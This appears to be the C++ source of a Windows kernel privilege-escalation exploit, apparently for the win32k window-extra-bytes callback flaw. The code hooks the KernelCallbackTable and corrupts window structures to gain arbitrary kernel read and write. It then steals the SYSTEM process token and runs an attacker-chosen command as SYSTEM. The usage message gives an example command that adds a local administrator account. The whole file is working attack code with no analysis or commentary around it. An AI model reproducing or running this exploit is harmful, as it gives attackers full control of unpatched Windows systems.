ExploitTest.cpp

// ExploitTest.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
#include<time.h>
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);

typedef DWORD64(NTAPI *fnxxxClientAllocWindowClassExtraBytes)(DWORD64 *a1);

typedef DWORD64(NTAPI *fnxxxClientFreeWindowClassExtraBytes)(DWORD64 *a1);

typedef DWORD64(NTAPI *fnNtUserConsoleControl)(int nConsoleCommand, HWND *pHwnd, int nConsoleInformationLength);

typedef DWORD64(NTAPI *fnNtCallbackReturn)(DWORD64 *a1, DWORD64 a2, DWORD64 a3);

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
typedef DWORD64 QWORD;

#define _BYTE  uint8
#define _WORD  uint16
#define _DWORD uint32
#define _QWORD uint64

lHMValidateHandle g_pfnHmValidateHandle = NULL;

fnxxxClientAllocWindowClassExtraBytes	g_oldxxxClientAllocWindowClassExtraBytes = NULL;
fnxxxClientFreeWindowClassExtraBytes	g_oldxxxClientFreeWindowClassExtraBytes = NULL;

QWORD g_nRandom = 0;

QWORD g_qwExpLoit = 0;

QWORD	ref_g_pMem5 = 0;

HWND g_hWndMax = 0;

QWORD	g_qwrpdesk  = 0;

bool	g_bIsInit = 0;

DWORD g_pmbi_rcBar_left = 0;


DWORD g_offset_0x1 = 0;
QWORD g_qwMinBaseAddress = 0;

QWORD g_qwRegionSize = 0;

DWORD	kernel_desktop_heap_base_offset_Min = 0;

fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;

fnNtCallbackReturn g_pfnNtCallbackReturn = nullptr;

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}


HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize)
{
	
	QWORD qwBaseAddressBak = *pBaseAddress;

	QWORD qwBaseAddress = *pBaseAddress;

	DWORD dwRegionSizeBak = dwRegionSize;

	HWND hwndMagicWindow = nullptr;


	do 
	{
		while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0)
		{
			qwBaseAddress += 2;

			dwRegionSize--;
		}


		//获取不到才会走下面的步骤

		if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
		{

			qwBaseAddress = qwBaseAddress + 4;


			QWORD qwSub = qwBaseAddressBak - qwBaseAddress;



			dwRegionSize = dwRegionSizeBak + qwSub;

		}



		hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8);


		if (hwndMagicWindow)
		 {
			 break;
		 }

	} while (true);



	return hwndMagicWindow;

}

HWND g_hWndMagic = 0;



DWORD64  g_newxxxClientFreeWindowClassExtraBytes(DWORD64 *a1)
{

	DWORD64 dwTemp = *a1;
	//__debugbreak();
	printf("Free ExtraBytes:%p\n", *(DWORD64*)(dwTemp + 0xc8));
	if (dwTemp == g_nRandom)
	{

		return 1;
	}

	g_oldxxxClientAllocWindowClassExtraBytes(a1);
}





DWORD64  g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1)
{

	DWORD64 dwTemp = *a1;

	if (dwTemp == g_nRandom)
	{

		g_pfnNtUserConsoleControl(6, &g_hWndMagic, 0x10);
		//kernel_desktop_heap_base_offset_Min
		QWORD qwRet = kernel_desktop_heap_base_offset_Min;	//0x1122334455667788;

		printf("set ExtraData == %p\n", kernel_desktop_heap_base_offset_Min);

		g_pfnNtCallbackReturn(&qwRet, 24, 0);
	}



	return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}






LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
	if (a2 != 2)
		return DefWindowProcW(a1, a2, a3, a4);
	PostQuitMessage(0);
	return 0;
}


QWORD	MyRead64(QWORD qwDestAddr)
{


	MENUBARINFO pmbi = {};

	pmbi.cbSize = sizeof(MENUBARINFO);


	if (g_bIsInit)
	{


	}
	else
	{

		QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200);

		memset(pTemp, 0, 0x200);

		QWORD qwBase = 0x000000400000000;


		QWORD qwAdd = 0x0000000800000008;




		for (int i = 0; i < 0x40; i++)
		{

			*(pTemp + i) = qwBase + qwAdd*i;

		}


		*(QWORD *)ref_g_pMem5 = (QWORD)pTemp;


		GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);


		g_pmbi_rcBar_left = pmbi.rcBar.left;


		bool	g_bIsInit = 1;


	}



	

	*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;

	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);

	return 	(unsigned int)pmbi.rcBar.left + ((QWORD)pmbi.rcBar.top << 32);
}

int _tmain(int argc, _TCHAR* argv[])
{

	

	if (argc != 2)
	{
		printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\n!", argv[0], argv[0]);
		return -1;
	}


	if (!FindHMValidateHandle()) {
		printf("[!] Failed to locate HmValidateHandle, exiting\n");
		return 1;
	}

	g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");


	g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");

	


	//hook  xxxClientAllocWindowClassExtraBytes

	//获取 KernelCallbackTable gs段寄存器 0x60位置为PEB
	// PEB 偏移0x58位置为KernelCallbackTable
	DWORD64	KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58);


	// 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes:
	g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数


	g_oldxxxClientFreeWindowClassExtraBytes == (fnxxxClientFreeWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3E0);// 0x3d8位置为函数
	DWORD dwOldProtect;



	 srand(time(0));
	 g_nRandom = (rand() % 255 + 0x1234) | 1;

	WNDCLASSEXW wndClass = {};

	wndClass.lpfnWndProc = (WNDPROC)MyWndProc;
	wndClass.cbSize = 80;
	wndClass.style = 3;
	wndClass.cbClsExtra = 0;
	wndClass.cbWndExtra = 32;
	wndClass.hInstance = GetModuleHandleW(0);
	wndClass.lpszClassName = L"normalClass";
	ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
	//g_nRandom
	wndClass.cbWndExtra = g_nRandom;
	wndClass.lpszClassName = L"magicClass";
	ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);





	QWORD	offset_0x2c = 0x2C;
	QWORD	offset_0x28 = 0x28;
	QWORD	offset_0x40 = 0x40;
	QWORD	offset_0x44 = 0x44;
	QWORD	offset_0x58 = 0x58;
	QWORD	offset_0x128 = 0x128;
	QWORD	offset_0xc8 = 0xc8;
	QWORD	offset_0x18 = 0x18;				
	QWORD	offset_0x10 = 0x10;
	QWORD	offset_0x220 = 0x220;
	QWORD	offset_0x80 = 0x80;
	QWORD	offset_0x98 = 0x98;
	QWORD	offset_0x50 = 0x50;
	QWORD	offset_0xe0 = 0xe0;



	QWORD	offset_ActiveProcessLinks = 0x448;
	QWORD	offset_InheritedFromUniqueProcessId = 0x540;
	QWORD	offset_Token = 0x4b8;
	QWORD	offset_UniqueProcessId = 0x440;

	CreatePopupMenu();

	QWORD	g_pMem1 = (QWORD)LocalAlloc(0x40u, 0x200);
	QWORD	g_pMem2 = (QWORD)LocalAlloc(0x40u, 0x30);
	QWORD	g_pMem3 = (QWORD)LocalAlloc(0x40u, 4);
	QWORD	g_pMem4 = (LONG_PTR)LocalAlloc(0x40u, 0xA0);
	HLOCAL	g_pMem5 = LocalAlloc(0x40u, 8);

	DWORD *ref_g_pMem1 = (DWORD *)g_pMem1;
	
	QWORD ref_g_pMem2 = g_pMem2;
	QWORD ref_g_pMem3 = g_pMem3;
	QWORD	ref_g_pMem4 = g_pMem4;
	ref_g_pMem5 = (QWORD)g_pMem5;


	*(DWORD *)(g_pMem2 + offset_0x2c) = 16;
	*ref_g_pMem1 = 0x88888888;
	*(QWORD *)&ref_g_pMem1[2 * ((unsigned int)offset_0x28 >> 3)] = ref_g_pMem2;
	ref_g_pMem1[( QWORD)(unsigned int)offset_0x40 >> 2] = 1;
	ref_g_pMem1[( QWORD)(unsigned int)offset_0x44 >> 2] = 1;


	*(QWORD *)&ref_g_pMem1[2 * (( QWORD)(unsigned int)offset_0x58 >> 3)] = (QWORD)g_pMem5;



	*(QWORD *)(ref_g_pMem3 + 8) = 16;



	*(QWORD *)ref_g_pMem3 = (QWORD)ref_g_pMem1;
	*(QWORD *)(ref_g_pMem4 +offset_0x98) = ref_g_pMem3;


	printf("CreateWnd\r\n");

	struct _MEMORY_BASIC_INFORMATION Buffer = {};

	Buffer.BaseAddress = 0;
	Buffer.AllocationBase = 0;
	*(QWORD *)&Buffer.AllocationProtect = 0;
	Buffer.RegionSize = 0;
	*(QWORD *)&Buffer.State = 0;
	*(QWORD *)&Buffer.Type = 0;

	QWORD	nIndex = 0;
	QWORD nLoop = 10;

	QWORD kernel_desktop_heap_base_offset1 = 0;
	QWORD kernel_desktop_heap_base_offset2 = 0;

	QWORD arrEntryDesktop[10] = {};
	HWND arrhwndNoraml[10] = {};



	
	

	do
	{
	
		HWND hwndNormal = CreateWindowExW(
			WS_EX_NOACTIVATE,
			L"normalClass",
			L"somewnd",
			WS_EX_NOACTIVATE,
			0,
			0,
			0,
			0,
			0,
			CreateMenu(),
			GetModuleHandleW(0) ,
			0);




		arrhwndNoraml[nIndex] = hwndNormal;
		QWORD	qwfirstEntryDesktop = (QWORD)g_pfnHmValidateHandle(hwndNormal, 1);
		arrEntryDesktop[nIndex] = qwfirstEntryDesktop;

		printf("Hwnd:%08x   qwfirstEntryDesktop=%p\r\n", hwndNormal, qwfirstEntryDesktop);

		VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, 0x30);

		printf("BaseAddress:%p   RegionSize=:%p\r\n", Buffer.BaseAddress, Buffer.RegionSize);

		if (g_qwMinBaseAddress == 0)
		{
			g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
			g_qwRegionSize = (QWORD)Buffer.RegionSize;
		}
		else
		{
			if (g_qwMinBaseAddress<(QWORD)Buffer.BaseAddress)
			{
			}
			else
			{
				g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
				g_qwRegionSize = (QWORD)Buffer.RegionSize;
			}

		}


		//保存最小的

		++nIndex;
		--nLoop;
	}
	while (nLoop);

	printf("Min BaseAddress:%p   RegionSize=:%p\r\n", g_qwMinBaseAddress, g_qwRegionSize);

	
	kernel_desktop_heap_base_offset1 = *(DWORD *)((char *)arrEntryDesktop[0] + 8);
	kernel_desktop_heap_base_offset2 = *(DWORD *)((char *)arrEntryDesktop[1] + 8);


	HWND hWndMin = *(HWND *)((char *)arrhwndNoraml + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0));





	int nTemp = 0;
	if (kernel_desktop_heap_base_offset1 <= kernel_desktop_heap_base_offset2)
		nTemp = 1;
	g_hWndMax = arrhwndNoraml[nTemp];
	QWORD	firstEntryDesktop_Max = arrEntryDesktop[nTemp];


	firstEntryDesktop_Max = arrEntryDesktop[nTemp];



	
	QWORD	firstEntryDesktop_Min = *(QWORD *)((char *)arrEntryDesktop + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0));

	kernel_desktop_heap_base_offset_Min = *(DWORD *)(firstEntryDesktop_Min + 8);
	DWORD	kernel_desktop_heap_base_offset_Max = *(DWORD *)((char *)firstEntryDesktop_Max + 8);
	for (int i = 2; i < 10; ++i)
		DestroyWindow(arrhwndNoraml[i]);

	g_pfnNtUserConsoleControl(6, &hWndMin, 0x10);

	DWORD tagWndMin_offset_0x128 = *(DWORD *)(firstEntryDesktop_Min + offset_0x128);
	DWORD tagWndMax_offset_0x128 = *(QWORD *)(firstEntryDesktop_Max + offset_0x128);


	g_hWndMagic = CreateWindowExW(
		0x8000000u,
		(LPCWSTR)g_lpWcxMagic,
		L"somewnd",
		0x8000000u,
		0,
		0,
		0,
		0,
		0,
		CreateMenu() ,
		GetModuleHandleW(0) ,
		0);
	printf("realMagicHwnd=%p\n", g_hWndMagic);

	VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, 0x40u, &dwOldProtect);
	*(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes;

	*(DWORD64*)(KernelCallbackTable + 0x3E0) = (DWORD64)g_newxxxClientFreeWindowClassExtraBytes;

	VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, dwOldProtect, &dwOldProtect);


	NtUserMessageCall(g_hWndMagic, WM_CREATE, 0, 0, 0, 0xE0, 0);

	

	DWORD dwRet = SetWindowLongW(g_hWndMagic, offset_0x128+0x10, kernel_desktop_heap_base_offset_Min);

	printf("dwRet=%p\r\n", dwRet);


	printf("tagWndMin_offset_0x128=%p\r\n", tagWndMin_offset_0x128);


	SetWindowLongW(g_hWndMagic, offset_0xc8+0x10, 0xFFFFFFF);



	g_qwrpdesk  = *(QWORD *)(firstEntryDesktop_Max + offset_0x18);


	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk  ^ 0x4000000000000000);


	g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);


	printf("g_qwExpLoit=%p\r\n", g_qwExpLoit);




	QWORD	qwOffset = kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min;


	QWORD qwNewLong = g_qwExpLoit;


	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk );



	QWORD qwFrist = MyRead64(g_qwExpLoit + offset_0x50);

	
	printf("qwFrist read=%p\r\n", qwFrist);

	
	QWORD qwSecond = MyRead64(qwFrist + offset_0x18);


	printf("qwSecond read=%p\r\n", qwSecond);


	QWORD qwThird = MyRead64(qwSecond + offset_0x80);


	printf("qwSecond read=%p\r\n", qwThird);


	QWORD qwFourth = MyRead64(qwFrist + offset_0x10);

	printf("qwFourth read=%p\r\n", qwFourth);

	QWORD qwFifth = MyRead64(qwFourth);

	printf("qwFifth read=%p\r\n", qwFifth);

	QWORD qwEprocess = MyRead64(qwFifth + offset_0x220);

	printf("qwSixth read=%p\r\n", qwEprocess);
	
	
	QWORD qwEprocessBak = qwEprocess;

	DWORD dwPidSelf = GetCurrentProcessId();

	
	QWORD dwSystemToken = 0;

	QWORD dwMyToken = 0;


	QWORD qwMyTokenAddr = 0;




	while (!dwSystemToken || !qwMyTokenAddr)
	{


	DWORD	dwPidRead = MyRead64(qwEprocess + (unsigned int)offset_UniqueProcessId);
	if (dwPidRead == 4)
			dwSystemToken = MyRead64(qwEprocess + (unsigned int)offset_Token);
	if (dwPidRead == dwPidSelf)
			qwMyTokenAddr = qwEprocess + (unsigned int)offset_Token;
	qwEprocess = MyRead64(qwEprocess + (unsigned int)offset_ActiveProcessLinks)- (unsigned int)offset_ActiveProcessLinks;
	
	if (qwEprocessBak==qwEprocess)
	{
		break;
	}

	}

	//write64
	SetWindowLongPtrA(hWndMin, kernel_desktop_heap_base_offset_Max + offset_0x128 - kernel_desktop_heap_base_offset_Min, qwMyTokenAddr);

	SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken);

	
	SECURITY_ATTRIBUTES		sa;
	HANDLE					hRead, hWrite;
	byte					buf[40960] = { 0 };
	STARTUPINFOW			si;
	PROCESS_INFORMATION		pi;
	DWORD					bytesRead;
	RtlSecureZeroMemory(&si, sizeof(si));
	RtlSecureZeroMemory(&pi, sizeof(pi));
	RtlSecureZeroMemory(&sa, sizeof(sa));
	int br = 0;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		return -3;
	}
	wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfoW(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.lpDesktop = L"WinSta0\\Default";
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	wchar_t cmd[4096] = { 0 };
	lstrcpyW(cmd, argv[1]);
	if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
	{
		CloseHandle(hWrite);
		CloseHandle(hRead);
		printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
		return -2;
	}
	CloseHandle(hWrite);
	printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
	while (1)
	{
		if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
			break;
		br += bytesRead;
	}
	puts("===============================");
	puts((char*)buf);
	fflush(stdout);
	fflush(stderr);
	CloseHandle(hRead);
	CloseHandle(pi.hProcess);







	QWORD	tagWndMagic = (QWORD)g_pfnHmValidateHandle(g_hWndMagic, 1);

	int 	nSizeofPointer = 8;



	QWORD qwcbwndExtra = *(QWORD *)(tagWndMagic +  offset_0xe0) ^ 0x80000000000;


	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0x128);
	SetWindowLongPtrA(g_hWndMax, 0, 0);



	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0xe0);
	SetWindowLongPtrA(g_hWndMax, 0, qwcbwndExtra);

	

	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk  ^ 0x4000000000000000);
	SetWindowLongPtrA(g_hWndMax, -12, qwNewLong);


	SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk );
	SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, tagWndMax_offset_0x128);
	SetWindowLongPtrA(hWndMin, offset_0x128, tagWndMin_offset_0x128);




	return 0;
}